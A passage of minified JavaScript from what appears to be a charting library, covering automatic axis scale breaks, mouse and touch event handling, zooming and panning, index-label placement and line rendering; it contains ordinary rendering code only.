m)*Math.max(parseFloat(a.axisX.scaleBreaks.collapsibleThreshold)||
10,10)/100,g=h.dataPoints[w].x.getTime?
h.dataPoints[w].x.getTime():h.dataPoints[w].x,q=Math.floor((g-
m)/q),g<f[q].min&&(f[q].min=g),g>f[q].max&&(f[q].max=g)),b){var r=(n+1-
k)*Math.max(parseFloat(a.axisY.scaleBreaks.collapsibleThreshold)||
10,10)/100;if((g="waterfall"===a.type?
h.dataPointEOs[w].cumulativeSum:h.dataPoints[w].y)&&g.length)for(var
p=0;p<g.length;p++)q=Math.floor((g[p]-
k)/r),g[p]<d[q].min&&(d[q].min=g[p]),g[p]>d[q].max&&(d[q].max=g[p]);else u(g)||
(q=Math.floor((g-
k)/r),g<d[q].min&&(d[q].min=g),g>d[q].max&&(d[q].max=g))}}}}function b(a)
{if(a.dataSeriesIndexes&&!
(1>a.dataSeriesIndexes.length)&&a.axisX.scaleBreaks&&a.axisX.scaleBreaks.autoCalcul
ate&&1<=a.axisX.scaleBreaks.maxNumberOfAutoBreaks)for(var
c=a.axisX.dataInfo,b=c.min,d=c.max,f=c._dataRanges,g,m=0,l=0;l<a.dataSeriesIndexes.
length;l++){var k=e.data[a.dataSeriesIndexes[l]];if(!
(4>k.dataPoints.length))for(m=0;m<k.dataPoints.length;m++)g=(d+1-
b)*Math.max(parseFloat(a.axisX.scaleBreaks.collapsibleThreshold)||
10,10)/100,c=k.dataPoints[m].x.getTime?
k.dataPoints[m].x.getTime():k.dataPoints[m].x,g=Math.floor((c-
b)/g),c<f[g].min&&(f[g].min=c),c>f[g].max&&(f[g].max=c)}}for(var c,e=this,g=!
1,k=0;k<this._axes.length;k+
+)if(this._axes[k].scaleBreaks&&this._axes[k].scaleBreaks.autoCalculate&&1<=this._a
xes[k].scaleBreaks.maxNumberOfAutoBreaks){g=!
0;this._axes[k].dataInfo._dataRanges=[];for(var
l=0;l<100/Math.max(parseFloat(this._axes[k].scaleBreaks.collapsibleThreshold)||
10,10);l++)this._axes[k].dataInfo._dataRanges.push({min:Infinity,max:-
Infinity})}if(g){for(k=0;k<this.plotInfo.plotTypes.length;k+
+)for(g=this.plotInfo.plotTypes[k],l=0;l<g.plotUnits.length;l+
+)c=g.plotUnits[l],"line"===c.type||"stepLine"===c.type||"spline"===c.type||"column
"===c.type||"area"===c.type||"stepArea"===c.type||"splineArea"===c.type||"bar"===c.
type||"bubble"===c.type||"scatter"===c.type||"candlestick"===c.type||"ohlc"===c.typ
e||"rangeColumn"===c.type||"rangeBar"===c.type||"rangeArea"===c.type||"rangeSplineA
rea"===c.type||"waterfall"===c.type||"error"===c.type||"boxAndWhisker"===c.type?
d(c):0<=c.type.indexOf("stacked")&&b(c);for(k=0;k<this._axes.length;k+
+)if(this._axes[k].dataInfo._dataRanges){var
w=this._axes[k].dataInfo.min;c=(this._axes[k].dataInfo.max+1-
w)*Math.max(parseFloat(this._axes[k].scaleBreaks.collapsibleThreshold)||
10,10)/100;var
m=this._axes[k].dataInfo._dataRanges,s,q,g=[];if(this._axes[k].dataInfo.dataPointYP
ositiveSums){var n=this._axes[k].dataInfo.dataPointYPositiveSums;s=m;for(l in
n)if(n.hasOwnProperty(l)&&!isNaN(l)&&(q=n[l],!u(q))){var f=Math.floor((q-
w)/c);q<s[f].min&&(s[f].min=q);q>s[f].max&&(s[f].max=q)}delete
this._axes[k].dataInfo.dataPointYPositiveSums}if(this._axes[k].dataInfo.dataPointYN
egativeSums){n=this._axes[k].dataInfo.dataPointYNegativeSums;s=m;for(l in
n)n.hasOwnProperty(l)&&!isNaN(l)&&(q=-1*n[l],u(q)||(f=Math.floor((q-
w)/c),q<s[f].min&&(s[f].min=q),q>s[f].max&&(s[f].max=q)));delete
this._axes[k].dataInfo.dataPointYNegativeSums}for(l=0;l<m.length-1;l+
+)if(s=m[l].max,isFinite(s))for(;l<m.length-1;)if(w=m[l+1].min,isFinite(w)){q=w-
s;q>c&&g.push({diff:q,start:s,end:w});break}else l+
+;if(this._axes[k].scaleBreaks.customBreaks)for(l=0;l<this._axes[k].scaleBreaks.cus
tomBreaks.length;l++)for(c=0;c<g.length;c+
+)if(this._axes[k].scaleBreaks.customBreaks[l].startValue<=g[c].start&&g[c].start<=
this._axes[k].scaleBreaks.customBreaks[l].endVa
lue||
this._axes[k].scaleBreaks.customBreaks[l].startValue<=g[c].start&&g[c].start<=this.
_axes[k].scaleBreaks.customBreaks[l].endValue||
g[c].start<=this._axes[k].scaleBreaks.customBreaks[l].startValue&&this._axes[k].sca
leBreaks.customBreaks[l].startValue<=g[c].end||
g[c].start<=this._axes[k].scaleBreaks.customBreaks[l].endValue&&this._axes[k].scale
Breaks.customBreaks[l].endValue<=g[c].end)g.splice(c,1),c--;g.sort(function(a,c)
{return c.diff-
a.diff});for(l=0;l<Math.min(g.length,this._axes[k].scaleBreaks.maxNumberOfAutoBreak
s);l++)c=a(g[l].start,g[l].end,this._axes[k].logarithmic?
this._axes[k].dataInfo.max/this._axes[k].dataInfo.min:this._axes[k].dataInfo.max-
this._axes[k].dataInfo.min,this._axes[k].logarithmic),this._axes[k].scaleBreaks.aut
oBreaks.push(new L(this,"autoBreaks",c,l,+
+this._eventManager.lastObjectId,this._axes[k].scaleBreaks)),this._axes[k].scaleBre
aks._appliedBreaks.push(this._axes[k].scaleBreaks.autoBreaks[this._axes[k].scaleBre
aks.autoBreaks.length-
1]);this._axes[k].scaleBreaks._appliedBreaks.sort(function(a,c){return
a.startValue-c.startValue})}}};p.prototype.getDataPointAtXY=function(a,d,b){b=b||!
1;for(var c=[],e=this._dataInRenderedOrder.length-1;0<=e;e--){var g=null;
(g=this._dataInRenderedOrder[e].getDataPointAtXY(a,d,b))&&c.push(g)}a=null;d=!
1;for(b=0;b<c.length;b+
+)if("line"===c[b].dataSeries.type||"stepLine"===c[b].dataSeries.type||"area"===c[b
].dataSeries.type||"stepArea"===c[b].dataSeries.type)if(e=na("markerSize",c[b].data
Point,c[b].dataSeries)||8,c[b].distance<=e/2){d=!0;break}for(b=0;b<c.length;b+
+)d&&"line"!==c[b].dataSeries.type&&"stepLine"!==c[b].dataSeries.type&&"area"!
==c[b].dataSeries.type&&"stepArea"!==c[b].dataSeries.type||(a?
c[b].distance<=a.distance&&(a=c[b]):a=c[b]);return
a};p.prototype.getObjectAtXY=function(a,d,b){var
c=null;if(b=this.getDataPointAtXY(a,d,b||!
1))c=b.dataSeries.dataPointIds[b.dataPointIndex];else
if(r)c=ab(a,d,this._eventManager.ghostCtx);else
for(b=0;b<this.legend.items.length;b++){var
e=this.legend.items[b];a>=e.x1&&(a<=e.x2&&d>=e.y1&&d<=e.y2)&&(c=e.id)}return
c};p.prototype.getAutoFontSize=lb;p.prototype.resetOverlayedCanvas=function()
{this.overlaidCanvasCtx.clearRect(0,0,this.width,this.height)};p.prototype.clearCan
vas=kb;p.prototype.attachEvent=function(a)
{this._events.push(a)};p.prototype._touchEventHandler=function(a)
{if(a.changedTouches&&this.interactivityEnabled){var d=[],b=a.changedTouches,c=b?
b[0]:a,e=null;switch(a.type)
{case"touchstart":case"MSPointerDown":d=["mousemove","mousedown"];this._lastTouchDa
ta=Ra(c);this._lastTouchData.time=new
Date;break;case"touchmove":case"MSPointerMove":d=["mousemove"];break;case"touchend"
:case"MSPointerUp":var g=this._lastTouchData&&this._lastTouchData.time?new Date-
this._lastTouchData.time:0,d="touchstart"===this._lastTouchEventType||"MSPointerDow
n"===this._lastTouchEventType||300>g?["mouseup","click"]:
["mouseup"];break;default:return}if(!(b&&1<b.length)){e=Ra(c);e.time=new
Date;try{var k=e.y-this._lastTouchData.y,g=e.time-
this._lastTouchData.time;if(1<Math.abs(k)&&this._lastTouchData.scroll||
5<Math.abs(k)&&250>g)this._lastTouchData.scroll=!0}catch(l)
{}this._lastTouchEventType=a.type;if(this._lastTouchData.scroll&&this.zoomEnabled)t
his.isDrag&&this.resetOverlayedCanvas(),this.isDrag=!1;else for(b=0;b<d.length;b+
+)if(e=d[b],k=document.createEvent("MouseEvent"),k.initMouseEvent(e,!0,!
0,window,1,c.screenX,c.screenY,c.clientX,c.clientY,!1,!1,!1,!
1,0,null),c.target.dispatchEvent(k),!u(this._lastTouchData.scroll)&&!
this._lastTouchData.scroll||!
this._lastTouchData.scroll&&250<g||"click"===e)a.preventManipulation&&a.preventMani
pulation(),a.preventDefault&&a.preventDefault()}}};p.prototype._dispatchRangeEvent=
function(a,d){var b={chart:this};b.type=a;b.trigger=d;var
c=[];this.axisX&&0<this.axisX.length&&c.push("axisX");this.axisX2&&0<this.axisX2.le
ngth&&c.push("axisX2");this.axisY&&0<this.axisY.length&&c.push("axisY");this.axisY2
&&0<this.axisY2.length&&c.push("axisY2");for(var e=0;e<c.length;e+
+)if(u(b[c[e]])&&(b[c[e]]=[]),"axisY"===c[e])for(var g=0;g<this.axisY.length;g+
+)b[c[e]].push({viewportMinimum:this[c[e]]
[g].sessionVariables.newViewportMinimum,viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});else
if("axisY2"===c[e])for(g=0;g<this.axisY2.length;g+
+)b[c[e]].push({viewportMinimum:this[c[e]]
[g].sessionVariables.newViewportMinimum,viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});else
if("axisX"===c[e])for(g=0;g<this.axisX.length;g+
+)b[c[e]].push({viewportMinimum:this[c[e]]
[g].sessionVariables.newViewportMinimum,viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});else
if("axisX2"===c[e])for(g=0;g<this.axisX2.length;g+
+)b[c[e]].push({viewportMinimum:this[c[e]]
[g].sessionVariables.newViewportMinimum,viewportMaximum:this[c[e]]
[g].sessionVariables.newViewportMaximum});this.dispatchEvent(a,b,this)};p.prototype
._mouseEventHandler=function(a){"undefined"===typeof
a.target&&a.srcElement&&(a.target=a.srcElement);var d=Ra(a),b=a.type,c,e;a.which?
e=3==a.which:a.button&&(e=2==a.button);p.capturedEventParam&&(c=p.capturedEventPara
m,"mouseup"===b&&(p.capturedEventParam=null,c.chart.overlaidCanvas.releaseCapture?
c.chart.overlaidCanvas.releaseCapture():document.documentElement.removeEventListene
r("mouseup",c.chart._mouseEventHandler,!1)),c.hasOwnProperty(b)&&("mouseup"!==b||
c.chart.overlaidCanvas.releaseCapture?a.target!==c.chart.overlaidCanvas&&r||
c[b].call(c.context,d.x,d.y):a.target!==c.chart.overlaidCanvas&&(c.chart.isDrag=!
1)));if(this.interactivityEnabled)if(this._ignoreNextEvent)this._ignoreNextEvent=!
1;else
if(a.preventManipulation&&a.preventManipulation(),a.preventDefault&&a.preventDefaul
t(),Ja&&window.console&&(window.console.log(b+" --\x3e x: "+d.x+";
y:"+d.y),e&&window.console.log(a.which),"mouseup"===b&&window.console.log("mouseup"
)),!e){if(!p.capturedEventParam&&this._events){for(var g=0;g<this._events.length;g+
+)if(this._events[g].hasOwnProperty(b))if(c=this._events[g],e=c.bounds,d.x>=e.x1&&d
.x<=e.x2&&d.y>=e.y1&&d.y<=e.y2){c[b].call(c.context,d.x,d.y);"mousedown"===b&&!
0===c.capture?(p.capturedEventParam=c,this.overlaidCanvas.setCapture?
this.overlaidCanvas.setCapture():document.documentElement.addEventListener("mouseup
",this._mouseEventHandler,!
1)):"mouseup"===b&&(c.chart.overlaidCanvas.releaseCapture?
c.chart.overlaidCanvas.releaseCapture():document.documentElement.removeEventListene
r("mouseup",this._mouseEventHandler,!1));break}else
c=null;a.target.style.cursor=c&&c.cursor?
c.cursor:this._defaultCursor}b=this.plotArea;if(d.x<b.x1||d.x>b.x2||d.y<b.y1||
d.y>b.y2)this.toolTip&&this.toolTip.enabled?
this.toolTip.hide():this.resetOverlayedCanvas();this.isDrag&&this.zoomEnabled||!
this._eventManager||
this._eventManager.mouseEventHandler(a)}};p.prototype._plotAreaMouseDown=function(a
,d){this.isDrag=!
0;this.dragStartPoint={x:a,y:d}};p.prototype._plotAreaMouseUp=function(a,d)
{if(("normal"===this.plotInfo.axisPlacement||"xySwapped"===this.plotInfo.axisPlacem
ent)&&this.isDrag){var b=d-this.dragStartPoint.y,c=a-
this.dragStartPoint.x,e=0<=this.zoomType.indexOf("x"),g=0<=this.zoomType.indexOf("y
"),k=!
1;this.resetOverlayedCanvas();if("xySwapped"===this.plotInfo.axisPlacement)var
l=g,g=e,e=l;if(this.panEnabled||this.zoomEnabled)
{if(this.panEnabled)for(e=g=0;e<this._axes.length;e+
+)b=this._axes[e],b.logarithmic?b.viewportMinimum<b.minimum?
(g=b.minimum/b.viewportMinimum,b.sessionVariables.newViewportMinimum=b.viewportMini
mum*g,b.sessionVariables.newViewportMaximum=b.viewportMaximum*g,k=!
0):b.viewportMaximum>b.maximum&&(g=b.viewportMaximum/b.maximum,b.sessionVariables.n
ewViewportMinimum=b.viewportMinimum/g,b.sessionVariables.newViewportMaximum=b.viewp
ortMaximum/g,k=!0):b.viewportMinimum<b.minimum?(g=b.minimum-
b.viewportMinimum,b.sessionVariables.newViewportMinimum=b.viewportMinimum+g,b.sessi
onVariables.newViewportMaximum=b.viewportMaximum+g,k=!
0):b.viewportMaximum>b.maximum&&(g=b.viewportMaximum-
b.maximum,b.sessionVariables.newViewportMinimum=b.viewportMinimum-
g,b.sessionVariables.newViewportMaximum=b.viewportMaximum-g,k=!0);else if((!e||
2<Math.abs(c))&&(!g||2<Math.abs(b))&&this.zoomEnabled){if(!
this.dragStartPoint)return;b=e?this.dragStartPoint.x:this.plotArea.x1;c=g?
this.dragStartPoint.y:this.plotArea.y1;e=e?a:this.plotArea.x2;g=g?
d:this.plotArea.y2;2<Math.abs(b-e)&&2<Math.abs(c-
g)&&this._zoomPanToSelectedRegion(b,c,e,g)&&(k=!0)}k&&(this._ignoreNextEvent=!
0,this._dispatchRangeEvent("rangeChanging","zoom"),this.render(),this._dispatchRang
eEvent("rangeChanged","zoom"),k&&(this.zoomEnabled&&"none"===this._zoomButton.style
.display)&&(Qa(this._zoomButton,this._resetButton),ua(this,this._zoomButton,"pan"),
ua(this,this._resetButton,"reset")))}}this.isDrag=!1;if("none"!
==this.plotInfo.axisPlacement)
{this.resetOverlayedCanvas();if(this.axisX&&0<this.axisX.length)for(k=0;k<this.axis
X.length;k+
+)this.axisX[k].crosshair&&this.axisX[k].crosshair.enabled&&this.axisX[k].renderCro
sshair(a,d);if(this.axisX2&&0<this.axisX2.length)for(k=0;k<this.axisX2.length;k+
+)this.axisX2[k].crosshair&&this.axisX2[k].crosshair.enabled&&this.axisX2[k].render
Crosshair(a,d);if(this.axisY&&0<this.axisY.length)for(k=0;k<this.axisY.length;k+
+)this.axisY[k].crosshair&&this.axisY[k].crosshair.enabled&&this.axisY[k].renderCro
sshair(a,d);if(this.axisY2&&0<this.axisY2.length)for(k=0;k<this.axisY2.length;k+
+)this.axisY2[k].crosshair&&this.axisY2[k].crosshair.enabled&&this.axisY2[k].render
Crosshair(a,d)}};p.prototype._plotAreaMouseMove=function(a,d)
{if(this.isDrag&&"none"!==this.plotInfo.axisPlacement){var
b=0,c=0,e=b=null,e=0<=this.zoomType.indexOf("x"),g=0<=this.zoomType.indexOf("y"),k=
this;"xySwapped"===this.plotInfo.axisPlacement&&(b=g,g=e,e=b);b=this.dragStartPoint
.x-a;c=this.dragStartPoint.y-d;2<Math.abs(b)&&8>Math.abs(b)&&(this.panEnabled||
this.zoomEnabled)?this.toolTip.hide():this.panEnabled||this.zoomEnabled||
this.toolTip.mouseMoveHandler(a,d);if((!e||2<Math.abs(b)||!g||
2<Math.abs(c))&&(this.panEnabled||this.zoomEnabled))if(this.panEnabled)e={x1:e?
this.plotArea.x1+b:this.plotArea.x1,y1:g?this.plotArea.y1+c:this.plotArea
.y1,x2:e?this.plotArea.x2+b:this.plotArea.x2,y2:g?
this.plotArea.y2+c:this.plotArea.y2},clearTimeout(k._panTimerId),k._panTimerId=setT
imeout(function(c,b,e,f){return function(){k._zoomPanToSelectedRegion(c,b,e,f,!
0)&&(k._dispatchRangeEvent("rangeChanging","pan"),k.render(),k._dispatchRangeEvent(
"rangeChanged","pan"),k.dragStartPoint.x=a,k.dragStartPoint.y=d)}}
(e.x1,e.y1,e.x2,e.y2),0);else if(this.zoomEnabled)
{this.resetOverlayedCanvas();b=this.overlaidCanvasCtx.globalAlpha;this.overlaidCanv
asCtx.fillStyle="#A89896";var c=e?this.dragStartPoint.x:this.plotArea.x1,l=g?
this.dragStartPoint.y:this.plotArea.y1,w=e?a-
this.dragStartPoint.x:this.plotArea.x2-this.plotArea.x1,m=g?d-
this.dragStartPoint.y:this.plotArea.y2-this.plotArea.y1;this.validateRegion(c,l,e?
a:this.plotArea.x2-this.plotArea.x1,g?d:this.plotArea.y2-this.plotArea.y1,"xy"!
==this.zoomType).isValid&&(this.resetOverlayedCanvas(),this.overlaidCanvasCtx.fillS
tyle="#99B2B5");this.overlaidCanvasCtx.globalAlpha=0.7;this.overlaidCanvasCtx.fillR
ect(c,l,w,m);this.overlaidCanvasCtx.globalAlpha=b}}else
if(this.toolTip.mouseMoveHandler(a,d),"none"!==this.plotInfo.axisPlacement)
{if(this.axisX&&0<this.axisX.length)for(e=0;e<this.axisX.length;e+
+)this.axisX[e].crosshair&&this.axisX[e].crosshair.enabled&&this.axisX[e].renderCro
sshair(a,d);if(this.axisX2&&0<this.axisX2.length)for(e=0;e<this.axisX2.length;e+
+)this.axisX2[e].crosshair&&this.axisX2[e].crosshair.enabled&&this.axisX2[e].render
Crosshair(a,d);if(this.axisY&&0<this.axisY.length)for(e=0;e<this.axisY.length;e+
+)this.axisY[e].crosshair&&this.axisY[e].crosshair.enabled&&this.axisY[e].renderCro
sshair(a,d);if(this.axisY2&&0<this.axisY2.length)for(e=0;e<this.axisY2.length;e+
+)this.axisY2[e].crosshair&&this.axisY2[e].crosshair.enabled&&this.axisY2[e].render
Crosshair(a,d)}};p.prototype._zoomPanToSelectedRegion=function(a,d,b,c,e)
{a=this.validateRegion(a,d,b,c,e);d=a.axesWithValidRange;b=a.axesRanges;if(a.isVali
d)for(c=0;c<d.length;c+
+)e=b[c],d[c].setViewPortRange(e.val1,e.val2),this.syncCharts&&this.syncCharts(e.va
l1,e.val2);return a.isValid};p.prototype.validateRegion=function(a,d,b,c,e){e=e||!
1;for(var g=0<=this.zoomType.indexOf("x"),k=0<=this.zoomType.indexOf("y"),l=!
1,w=[],m=[],s=[],q=0;q<this._axes.length;q++)
("axisX"===this._axes[q].type&&g||"axisY"===this._axes[q].type&&k)&&m.push(this._ax
es[q]);for(k=0;k<m.length;k++){var q=m[k],g=!
1,n=q.convertPixelToValue({x:a,y:d}),f=q.convertPixelToValue({x:b,y:c});if(n>f)var
B=f,f=n,n=B;if(q.scaleBreaks)for(B=0;!g&&B<q.scaleBreaks._appliedBreaks.length;B+
+)g=q.scaleBreaks._appliedBreaks[B].startValue<=n&&q.scaleBreaks._appliedBreaks[B].
endValue>=f;if(isFinite(q.dataInfo.minDiff))if(B=q.getApparentDifference(n,f,null,!
0),!(g||!
(this.panEnabled&&q.scaleBreaks&&q.scaleBreaks._appliedBreaks.length)&&(q.logarithm
ic&&B<Math.pow(q.dataInfo.minDiff,3)||!
q.logarithmic&&B<3*Math.abs(q.dataInfo.minDiff))||n<q.minimum||
f>q.maximum))w.push(q),s.push({val1:n,val2:f}),l=!0;else if(!e){l=!
1;break}}return{isValid:l,axesWithValidRange:w,axesRanges:s}};p.prototype.preparePl
otArea=function(){var a=this.plotArea;!r&&(0<a.x1||
0<a.y1)&&a.ctx.translate(a.x1,a.y1);if((this.axisX[0]||
this.axisX2[0])&&(this.axisY[0]||this.axisY2[0])){var d=this.axisX[0]?
this.axisX[0].lineCoordinates:this.axisX2[0].lineCoordinates;if(this.axisY&&0<this.
axisY.length&&this.axisY[0]){var b=this.axisY[0];a.x1=d.x1<d.x2?
d.x1:b.lineCoordinates.x1;a.y1=d.y1<b.lineCoordinates.y1?
d.y1:b.lineCoordinates.y1;a.x2=d.x2>b.lineCoordinates.x2?
d.x2:b.lineCoordinates.x2;a.y2=d.y2>d.y1?d.y2:b.lineCoordinates.y2;a.width=a.x2-
a.x1;a.height=a.y2-
a.y1}this.axisY2&&0<this.axisY2.length&&this.axisY2[0]&&(b=this.axisY2[0],a.x1=d.x1
<d.x2?d.x1:b.lineCoordinates.x1,a.y1=d.y1<b.lineCoordinates.y1?
d.y1:b.lineCoordinates.y1,a.x2=d.x2>b.lineCoordinates.x2?
d.x2:b.lineCoordinates.x2,a.y2=d.y2>d.y1?d.y2:b.lineCoordinates.y2,a.width=a.x2-
a.x1,a.height=a.y2-a.y1)}else
d=this.layoutManager.getFreeSpace(),a.x1=d.x1,a.x2=d.x2,a.y1=d.y1,a.y2=d.y2,a.width
=d.width,a.height=d.height;r||
(a.canvas.width=a.width,a.canvas.height=a.height,a.canvas.style.left=a.x1+"px",a.ca
nvas.style.top=a.y1+"px",(0<a.x1||0<a.y1)&&a.ctx.translate(-a.x1,-
a.y1));a.layoutManager=new
Ga(a.x1,a.y1,a.x2,a.y2,2)};p.prototype.renderIndexLabels=function(a){var d=a||
this.plotArea.ctx,b=this.plotArea,c=0,e=0,g=0,k=0,l=c=k=e=g=0,w=0;for(a=0;a<this._i
ndexLabels.length;a++){var
m=this._indexLabels[a],s=m.chartType.toLowerCase(),q,n,l=na("indexLabelFontColor",m
.dataPoint,m.dataSeries),w=na("indexLabelFontSize",m.dataPoint,m.dataSeries);q=na("
indexLabelFontFamily",m.dataPoint,m.dataSeries);n=na("indexLabelFontStyle",m.dataPo
int,m.dataSeries);var
k=na("indexLabelFontWeight",m.dataPoint,m.dataSeries),f=na("indexLabelBackgroundCol
or",m.dataPoint,m.dataSeries),e=na("indexLabelMaxWidth",m.dataPoint,m.dataSeries),g
=na("indexLabelWrap",m.dataPoint,m.dataSeries),B=na("indexLabelLineDashType",m.data
Point,m.dataSeries),h=na("indexLabelLineColor",m.dataPoint,m.dataSeries),p=u(m.data
Point.indexLabelLineThickness)?u(m.dataSeries.options.indexLabelLineThickness)?
0:m.dataSeries.options.indexLabelLineThickness:m.dataPoint.indexLabelLineThickness,
c=0<p?Math.min(10,("normal"===this.plotInfo.axisPlacement?
this.plotArea.height:this.plotArea.width)<<0):0,t={percent:null,total:null},C=null;
if(0<=m.dataSeries.type.indexOf("stacked")||"pie"===m.dataSeries.type||"doughnut"==
=m.dataSeries.type)t=this.getPercentAndTotal(m.dataSeries,m.dataPoint);if(m.dataSer
ies.indexLabelFormatter||
m.dataPoint.indexLabelFormatter)C={chart:this,dataSeries:m.dataSeries,dataPoint:m.d
ataPoint,index:m.indexKeyword,total:t.total,percent:t.percent};var
x=m.dataPoint.indexLabelFormatter?
m.dataPoint.indexLabelFormatter(C):m.dataPoint.indexLabel?
this.replaceKeywordsWithValue(m.dataPoint.indexLabel,m.dataPoint,m.dataSeries,null,
m.indexKeyword):m.dataSeries.indexLabelFormatter?
m.dataSeries.indexLabelFormatter(C):m.dataSeries.indexLabel?
this.replaceKeywordsWithValue(m.dataSeries.indexLabel,m.dataPoint,m.dataSeries,null
,m.indexKeyword):null;if(null!==x&&""!==x){var
t=na("indexLabelPlacement",m.dataPoint,m.dataSeries),C=na("indexLabelOrientation",m
.dataPoint,m.dataSeries),ma=m.direction,y=m.dataSeries.axisX,A=m.dataSeries.axisY,v
=!1,f=new ka(d,{x:0,y:0,maxWidth:e?e:0.5*this.width,maxHeight:g?
5*w:1.5*w,angle:"horizontal"===C?0:-
90,text:x,padding:0,backgroundColor:f,horizontalAlign:"left",fontSize:w,fontFamily:
q,fontWeight:k,fontColor:l,fontStyle:n,textBaseline:"top"});f.measureText();m.dataS
eries.indexLabelMaxWidth=f.maxWidth;if("stackedarea100"===s){if(m.point.x<b.x1||
m.point.x>b.x2||m.point.y<b.y1-1||m.point.y>b.y2+1)continue}else
if("rangearea"===s||"rangesplinearea"===s){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum||
Math.max.apply(null,m.dataPoint.y)<A.viewportMinimum||
Math.min.apply(null,m.dataPoint.y)>A.viewportMaximum)continue}else
if(0<=s.indexOf("line")||0<=s.indexOf("area")||0<=s.indexOf("bubble")||
0<=s.indexOf("scatter")){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum||m.dataPoint.y<A.viewportMinimum||
m.dataPoint.y>A.viewportMaximum)continue}else
if(0<=s.indexOf("column")||"waterfall"===s||"error"===s&&!m.axisSwapped)
{if(m.dataPoint.x<y.viewportMinimum||m.dataPoint.x>y.viewportMaximum||
m.bounds.y1>b.y2||m.bounds.y2<b.y1)continue}else
if(0<=s.indexOf("bar")||"error"===s){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum||m.bounds.x1>b.x2||m.bounds.x2<b.x1)continue}else
if("candlestick"===s||"ohlc"===s){if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum||
Math.max.apply(null,m.dataPoint.y)<A.viewportMinimum||
Math.min.apply(null,m.dataPoint.y)>A.viewportMaximum)continue}else
if(m.dataPoint.x<y.viewportMinimum||
m.dataPoint.x>y.viewportMaximum)continue;e=k=2;"horizontal"===C?
(l=f.width,w=f.height):
(w=f.width,l=f.height);if("normal"===this.plotInfo.axisPlacement)
{if(0<=s.indexOf("line")||0<=s.indexOf("area"))t="auto",k=4;else
if(0<=s.indexOf("stacked"))"auto"===t&&(t="inside");else
if("bubble"===s||"scatter"===s)t="inside";q=m.point.x-l/2;"inside"!==t?
(e=b.y1,g=b.y2,0<ma?(n=m.point.y-w-k-c,n<e&&(n="auto"===t?Math.max(m.point.y,e)
+k+c:e+k+c,v=n+w>m.point.y)):(n=m.point.y+k+c,n>g-w-k-c&&(n="auto"===t?
Math.min(m.point.y,g)-w-k-c:g-w-k-c,v=n<m.point.y))):
(e=Math.max(m.bounds.y1,b.y1),g=Math.min(m.bounds.y2,b.y2),c=0<=s.indexOf("range")|
|"error"===s?0<ma?Math.max(m.bounds.y1,b.y1)+w/2+k:Math.min(m.bounds.y2,b.y2)-w/2-
k:(Math.max(m.bounds.y1,b.y1)+Math.min(m.bounds.y2,b.y2))/2,0<ma?
(n=Math.max(m.point.y,c)-
w/2,n<e&&("bubble"===s||"scatter"===s)&&(n=Math.max(m.point.y-w-k,b.y1+k))):
(n=Math.min(m.point.y,c)-w/2,n>g-w-
k&&("bubble"===s||"scatter"===s)&&(n=Math.min(m.point.y+k,b.y2-w-
k))),n=Math.min(n,g-w))}else 0<=s.indexOf("line")||0<=s.indexOf("area")||
0<=s.indexOf("scatter")?
(t="auto",e=4):0<=s.indexOf("stacked")?"auto"===t&&(t="inside"):"bubble"===s&&(t="i
nside"),n=m.point.y-w/2,"inside"!==t?(k=b.x1,g=b.x2,0>ma?(q=m.point.x-l-e-
c,q<k&&(q="auto"===t?Math.max(m.point.x,k)+e+c:k+e+c,v=q+l>m.point.x)):
(q=m.point.x+e+c,q>g-l-e-c&&(q="auto"===t?Math.min(m.point.x,g)-l-e-c:g-l-e-
c,v=q<m.point.x))):
(k=Math.max(m.bounds.x1,b.x1),Math.min(m.bounds.x2,b.x2),c=0<=s.indexOf("range")||"
error"===s?0>ma?Math.max(m.bounds.x1,b.x1)+l/2+e:Math.min(m.bounds.x2,b.x2)-l/2-e:
(Math.max(m.bounds.x1,b.x1)+Math.min(m.bounds.x2,b.x2))/2,q=0>ma?
Math.max(m.point.x,c)-l/2:Math.min(m.point.x,c)-
l/2,q=Math.max(q,k));"vertical"===C&&(n+=w);f.x=q;f.y=n;f.render(!0);p&&("inside"!
==t&&(0>s.indexOf("bar")&&("error"!==s||!
m.axisSwapped)&&m.point.x>b.x1&&m.point.x<b.x2||!
v)&&(0>s.indexOf("column")&&("error"!==s||
m.axisSwapped)&&m.point.y>b.y1&&m.point.y<b.y2||!
v))&&(d.lineWidth=p,d.strokeStyle=h?
h:"gray",d.setLineDash&&d.setLineDash(R(B,p)),d.beginPath(),d.moveTo(m.point.x,m.po
int.y),0<=s.indexOf("bar")||"error"===s&&m.axisSwapped?d.lineTo(q+(0<m.direction?
0:l),n+("horizontal"===C?w:-w)/2):0<=s.indexOf("column")||"error"===s&&!
m.axisSwapped?d.lineTo(q+l/2,n+((0<m.direction?w:-w)+("horizontal"===C?w:-
w))/2):d.lineTo(q+l/2,n+
((n<m.point.y?w:-w)+("horizontal"===C?w:-
w))/2),d.stroke())}}d={source:d,dest:this.plotArea.ctx,animationCallback:M.fadeInAn
imation,easingFunction:M.easing.easeInQuad,animationBase:0,startTimePercent:0.7};fo
r(a=0;a<this._indexLabels.length;a+
+)m=this._indexLabels[a],f=na("indexLabelBackgroundColor",m.dataPoint,m.dataSeries)
,m.dataSeries.indexLabelBackgroundColor=u(f)?r?"transparent":null:f;return
d};p.prototype.renderLine=function(a){var d=a.targetCanvasCtx||
this.plotArea.ctx,b=r?this._preRenderCtx:d;if(!(0>=a.dataSeriesIndexes.length)){var
c=this._eventManager.ghostCtx;b.save();var
e=this.plotArea;b.beginPath();b.rect(e.x1,e.y1,e.width,e.height);b.clip();for(var
g=[],k,l=0;l<a.dataSeriesIndexes.length;l++){var
w=a.dataSeriesIndexes[l],m=this.data[w];b.lineWidth=m.lineThickness;var
s=m.dataPoints,q="solid";if(b.setLineDash){var
n=R(m.nullDataLineDashType,m.lineThickness),q=m.lineDashType,f=R(q,m.lineThickness)
;b.setLineDash(f)}var
B=m.id;this._eventManager.objectMap[B]={objectType:"dataSeries",dataSeriesIndex:w};
B=N(B);c.strokeStyle=B;c.lineWidth=0<m.lineThickness?
Math.max(m.lineThickness,4):0;var
B=m._colorSet,h=B=m.lineColor=m.options.lineColor?
m.options.lineColor:B[0];b.strokeStyle=B;var p=!
